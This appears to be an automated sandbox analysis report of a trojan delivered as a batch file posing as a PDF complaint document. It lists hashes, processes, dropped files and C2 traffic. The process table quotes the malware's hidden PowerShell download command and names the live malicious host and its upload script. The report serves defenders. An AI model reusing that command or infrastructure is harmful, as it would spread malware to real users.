| File name: | __Denuncia_Activa_CL.PDF.bat |
| Full analysis: | https://app.any.run/tasks/eb910c5b-ad37-48a8-a760-dc4e9215e9b6 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | March 22, 2019, 08:38:32 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | Little-endian UTF-16 Unicode text, with very long lines, with no line terminators |
| MD5: | 1E541B14B531BCAC70E77A012B0F0F7F |
| SHA1: | 0CA0CD36FB4C9DFEB3E325A01CFB7B75413D1F81 |
| SHA256: | 9008B75AC8BBAACBDA0DC47BB7D631F1C791CB346CC6F6A911E7993DA0834C09 |
| SSDEEP: | 24:QZYr06G6uSseKKjPKU+2jhJ7VEJZU89uND9IN9Ce:WTEDTL0Jfq5YEe |
MALICIOUS
Executes PowerShell scripts
- cmd.exe (PID: 856)
Writes to a start menu file
- Ace32Loader.exe (PID: 300)
- Integrity.exe (PID: 1180)
Runs PING.EXE for delay simulation
- cmd.exe (PID: 856)
Application was dropped or rewritten from another process
- Integrity.exe (PID: 1180)
Connects to CnC server
- Integrity.exe (PID: 1180)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 2900)
Creates files in the user directory
- powershell.exe (PID: 1452)
- Integrity.exe (PID: 1180)
- Ace32Loader.exe (PID: 300)
- notepad++.exe (PID: 2640)
Reads the machine GUID from the registry
- powershell.exe (PID: 1452)
- WinRAR.exe (PID: 588)
- taskmgr.exe (PID: 2836)
Executable content was dropped or overwritten
- Ace32Loader.exe (PID: 300)
- Integrity.exe (PID: 1180)
INFO
Reads settings of System Certificates
- powershell.exe (PID: 1452)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .txt | | | Text - UTF-16 (LE) encoded (66.6) |
|---|---|---|
| .mp3 | | | MP3 audio (33.3) |
Total processes
85
Monitored processes
11
Malicious processes
2
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 300 | "C:\Program Files\WinRAR\Ace32Loader.exe" Ace32LoaderMMF1796812588 | C:\Program Files\WinRAR\Ace32Loader.exe | WinRAR.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 588 | "C:\Program Files\WinRAR\winRar.exe" x -y -c "C:\Users\admin\Downloads\REcMInOAa.rar" "C:\Users\admin\Downloads" | C:\Program Files\WinRAR\WinRAR.exe | — | cmd.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 Modules
| |||||||||||||||
| 856 | C:\Windows\system32\cmd.exe /K "C:\Users\admin\Desktop\__Denuncia_Activa_CL.PDF.bat" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1180 | "C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Integrity.exe" | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Integrity.exe | Explorer.EXE | ||||||||||||
User: admin Company: BigRed Integrity Level: MEDIUM Description: BigRed Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 1452 | PowerShell -windowstyle hidden -Command "(New-Object Net.WebClient).DownloadFile('https://www.triosalud.cl/wp/wp-content/uploads/2019/02/denuncias.rar','C:\Users\admin\Downloads\REcMInOAa.rar'); $Shell = New-Object -Com Shell.Application; $Zip = $Shell.NameSpace('C:\Users\admin\Downloads'); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1968 | "C:\Program Files\Notepad++\updater\gup.exe" -v7.51 -px64 | C:\Program Files\Notepad++\updater\gup.exe | notepad++.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: GUP : a free (LGPL) Generic Updater Exit code: 4294967295 Version: 4.1 Modules
| |||||||||||||||
| 2640 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\__Denuncia_Activa_CL.PDF.bat" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Exit code: 0 Version: 7.51 Modules
| |||||||||||||||
| 2760 | ping 127.0.0.1 -n 1 | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2836 | "C:\Windows\system32\taskmgr.exe" /4 | C:\Windows\system32\taskmgr.exe | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Task Manager Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2900 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\Desktop\__Denuncia_Activa_CL.PDF.bat" " | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 9009 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 824
Read events
1 714
Write events
110
Delete events
0
Modification events
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\65\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1452) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
Executable files
2
Suspicious files
3
Text files
8
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RM64QVRZDS6QE2LKOTQZ.temp | — | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\Downloads\REcMInOAa.rar | compressed | |
MD5:— | SHA256:— | |||
| 300 | Ace32Loader.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Integrity.exe | executable | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1b3de0.TMP | binary | |
MD5:— | SHA256:— | |||
| 1452 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 300 | Ace32Loader.exe | C:\Users\admin\Downloads\hello.txt | text | |
MD5:49C5DDEBFDC0862208A6859B757DBB81 | SHA256:3C304DFF4CFAD593CE554D39EA6EA589B5E20A7831924CE0BD83539498C8E34D | |||
| 2640 | notepad++.exe | C:\Users\admin\AppData\Roaming\Notepad++\session.xml | text | |
MD5:— | SHA256:— | |||
| 2640 | notepad++.exe | C:\Users\admin\AppData\Roaming\Notepad++\shortcuts.xml | text | |
MD5:AD21A64014891793DD9B21D835278F36 | SHA256:C24699C9D00ABDD510140FE1B2ACE97BFC70D8B21BF3462DED85AFC4F73FE52F | |||
| 300 | Ace32Loader.exe | C:\Users\admin\Downloads\world.txt | text | |
MD5:6E0D9920A8BA481D13EEB355147B13F3 | SHA256:ED428CE14DC2EE5FCDEB3AD11E8DC315858F73BE187A4B072246B1B8662030A2 | |||
| 2640 | notepad++.exe | C:\Users\admin\AppData\Roaming\Notepad++\langs.xml | xml | |
MD5:E792264BEC29005B9044A435FBA185AB | SHA256:5298FD2F119C43D04F6CF831F379EC25B4156192278E40E458EC356F9B49D624 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
6
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1180 | Integrity.exe | POST | — | 190.107.177.246:80 | http://www.triosalud.cl/wp/wp-content/uploads/2019/03/up.php | CL | — | — | malicious |
1180 | Integrity.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/ | US | html | 88.3 Kb | whitelisted |
1452 | powershell.exe | GET | 200 | 190.107.177.246:443 | https://www.triosalud.cl/wp/wp-content/uploads/2019/02/denuncias.rar | CL | compressed | 3.33 Mb | malicious |
— | — | GET | 200 | 205.185.216.10:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?f14e9a2fbc7bb2c2 | US | compressed | 6.41 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1452 | powershell.exe | 190.107.177.246:443 | www.triosalud.cl | Gtd Internet S.A. | CL | malicious |
— | — | 205.185.216.10:80 | ctldl.windowsupdate.com | Highwinds Network Group, Inc. | US | whitelisted |
1968 | gup.exe | 37.59.28.236:443 | notepad-plus-plus.org | OVH SAS | FR | whitelisted |
1180 | Integrity.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
1180 | Integrity.exe | 190.107.177.246:80 | www.triosalud.cl | Gtd Internet S.A. | CL | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.triosalud.cl |
| malicious |
notepad-plus-plus.org |
| whitelisted |
ctldl.windowsupdate.com |
| whitelisted |
teredo.ipv6.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
Threats
2 ETPRO signatures available at the full report
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | 42C4C5846BB675C74E2B2C90C69AB44366401093
|